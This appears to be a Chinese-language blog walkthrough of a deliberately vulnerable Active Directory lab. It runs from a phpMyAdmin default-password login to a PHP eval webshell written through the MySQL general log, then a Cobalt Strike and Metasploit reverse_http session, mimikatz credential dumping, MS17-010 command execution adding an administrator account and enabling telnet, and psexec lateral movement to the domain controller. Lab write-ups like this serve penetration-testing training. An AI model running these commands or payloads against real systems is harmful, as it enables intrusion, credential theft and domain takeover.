0x01 靶场环境

靶场搭建这一块就不再说了,errorr0师傅写的很详细,我的环境配置就是跟着他的文章搭建的

https://blog.csdn.net/qq_51295677/article/details/124174404

网络拓扑

加上攻击机一共四台靶机

环境IP配置

kali (攻击机):192.168.19.140

Windows 7 (web服务器,两网卡):192.168.19.144(外网和kali连通)、192.168.5.128(内网)

Windows 2008 (域控):192.168.5.130

Win2k3 (域管):192.168.5.129

0x02 外网渗透

外网信息收集

win7作为一台服务器暴露在外网,与kali机存在同一网段

用nmap扫描网段,找到外网服务器的真实IP

外网IP为144结尾,那么再用nmap详细扫描一下开放的端口以及服务

开的端口挺多,主要就是web服务,从扫描信息来看,得知服务器是一个Win32的机器

访问服务器IP的80端口

主页就是一个phpStudy的探针

底部可以连接数据库,可以试一下账号密码,mysql默认的话,账号密码都是root

账号密码正确,那么想远程连接一下mysql,理论上是可行的

但是对外来IP做了限制,连接失败,回头继续从web入手

页面没啥东西了,扫一下目录

有phpmyadmin,这下又有突破口了,需要登录,账号密码为root,root直接可以登录进去

phpMyadmin写shell

能写入shell拿权限才是最舒服的

通过mysql写文件,一种是利用outfile,不过在mysql5.0以上就需要用户有写权限,和mysql配置中开启了相应的选项才能写入文件

第二种就是修改日志文件的方式,在phpMyadmin中可以执行sql语句

show variables like '%general%'
查询系统变量的信息,在这里查新有关general的系统变量

查看日志保存状态

本来是关闭日志保存的

set global general_log='on';
设置全局变量

执行这个sql语句可以修改general_log的值,接下来修改日志保存的位置

SET global general_log_file='C:/phpStudy/WWW/shell.php'

绝对路径可以在主页面的探针信息中找到

查看日志保存状态,全局变量是否修改成功

执行sql语句,将一句话木马保存在日志中

SELECT '<?php @eval($_REQUEST["shell"]);?>';

成功拿到shell,拿下web服务器,剩下的就向内网渗透了

0x03 内网渗透

Cobalt Strike远控

连接蚁剑,这是Windows的操作系统,通常是没有nc或者bash的,所以要实现远控,就要利用Cobalt Strike来生成exe的马,kali机作为服务端,主机Win11作为客户端启动Cobalt Strike

创建监听器用于木马回连,注意host为Cobalt Strike服务端,也就是kali机的ip,填了HTTP端口(上线)就不用再填写监听的端口了

用CS生成Windows的后门程序,要使用64位的payload

将生成的exe的后门程序通过蚁剑上传到服务器

在服务器上运行exe可执行程序

可以看到成功上线CS,右键开启一个会话交互

通常来说,CS服务器默认60s会重连一次,所以指令会有延迟,执行sleep 0 加快回显,输入命令看看

NT AUTHORITY\SYSTEM 是 Windows 操作系统中的一个高度特权的帐户,通常也被称为 “System” 帐户,它具有对操作系统和系统资源的广泛访问权限,包括文件系统、注册表、系统服务、安全子系统等。所以不需要来提权了

内网信息收集

查看主机的网络配置

shell ipconfig

发现5网段的内网地址

shell net view /domain
列出指定域中的共享资源和计算机。
已知域为GOD
执行net view /domain:GOD 可以列出该域中所有共享的计算机

发现存在域

抓取明文密码,在Cobalt Strike 中有个凭证提权的模块,里面有抓取明文密码的功能,使用 hashdump 和 logonpasswords 读内存和注册表密码,并且可以在密码凭证下查看

hashdump 获取密码哈希值,便于后续利用破解工具破解哈希得到密码
logonpasswords 是mimikatz的一个命令,用于抓取密码

返回会话到msf

将会话返回到kali机上,与msf联动

use exploit/multi/handler
#创建一个处理多个攻击负载的处理程序,用于接收受感染目标的连接。
set payload windows/meterpreter/reverse_http
#在这种情况下,所选的攻击负载是 Meterpreter 的反向 HTTP Shell。Meterpreter 是 Metasploit Framework 中的一个功能强大的后门工具,反向 HTTP Shell 攻击负载使用 HTTP 协议来与目标计算机通信
set lhost 本机ip
#设置主机ip
set lport 接受的端口
#设置监听的端口
exploit 执行

设置自己在kali中监听的主机ip和端口,然后在cs中新建一个foreign监听的listeners

对于上线的主机,选择这个foreign监听的listeners,新建一个会话,然后成功将这个会话返回给msf

建立socket代理

在msf中执行 run post/multi/manage/autoroute 新建路由

run post/multi/manage/autoroute 是 Metasploit Framework 中的一个命令,用于执行一个名为 "autoroute" 的后渗透测试模块。这个模块的主要功能是配置路由,以便在受感染的目标网络上建立路由到其他子网或目标的通信路径。

执行 run autoroute -p 查看路由

挂起会话,建立socks代理

background
#将当前 Meterpreter 会话(如果存在)放入后台,以便可以执行其他操作
use auxiliary/server/socks_proxy
#该模块允许创建一个 SOCKS 代理服务器
set VERSION 4a
#设置 SOCKS 代理服务器的版本
set SRVHOST 127.0.0.1
#设置 SOCKS 代理服务器监听的主机 IP 地址。在这里,它设置为 127.0.0.1,表示只监听本地主机。
exploit

执行完exploit后,挂起一个job 列出所有当前运行的后台任务

修改 proxychains4.conf 配置文件

proxychains4.conf 是 ProxyChains 的配置文件,用于配置 ProxyChains 工具的行为。
ProxyChains 是一个用于通过代理服务器进行网络通信的工具,它可以让您在绕过防火墙、匿名化网络通信或访问受限资源时,通过代理服务器传输数据。

使用arp 探测内网存活主机

use post/windows/gather/arp_scanner
set RHOSTS 192.168.5.0/24
#设置扫描的内网网段
set SESSION 1
#设置要在哪个 Meterpreter 会话中执行 ARP 扫描
exploit

除web服务器外,有两台内网主机。

192.168.5.129/24
192.168.5.130/24

横向渗透

对其他内网主机进行端口探测

Cobalt Strike中可以对域管进行端口扫描,搭建代理使用nmap扫描扫不全端口,不知道为什么,坑了我好久

扫描到445端口,可以打一波永恒之蓝(要是在实战中,估计就与目标无缘了)打64位系统

use auxiliary/admin/smb/ms17_010_command
set COMMAND net user
#设置命令 这里的命令是net user 用于查看和管理用户帐户
set RHOST 192.168.5.129
exploit

攻击成功,拿到shell,试着对域管主机添加用户

set COMMAND net user hack xilitter@123 /add

然后把添加的用户加入管理员组

set COMMAND net localgroup administrators hack /add

开启23端口,telnet服务

set COMMAND sc config tlntsvr start= auto
#使 Telnet 服务在系统启动时自动启动
set COMMAND net start telnet
#启动 Telnet 服务。一旦服务启动,系统将允许远程 Telnet 连接
set COMMAND netstat -an
#列出所有当前网络连接和端口状态

成功开启,利用我们刚添加的用户信息远程登录

proxychains telnet 192.168.5.129

注意要用代理对我们的流量进行转发

能够成功执行命令,拿下域里的一台机器,ctrl+] 再输入q退出telnet

还有一台域控,利用同样的方法扫描端口,存在445端口,同样的方法去打,添加用户

成功添加用户到管理员组,接下来使用 Cobalt Strike,执行net view查看共享的资源

成功发现域控主机,利用我们添加的用户横向登录到域控,选择横向移动,psexec,添加SMB的监听器

登录成功,开启一个会话交互,执行systeminfo命令

成功拿下域控机器,到此靶场渗透结束

0x04 结语与反思

第一次打内网靶场,路程还是挺艰辛的。外网打点还是比较轻松的,打到内网 Windows 主机就不知道怎么搞了,跟着别的师傅的教程也算是打完了,后续会对Windows主机的命令操作以及 Cobalt Strike 和MSF渗透工具的深入使用。以下是我参考的文章链接:

ATT&CK红队评估(红日靶场一)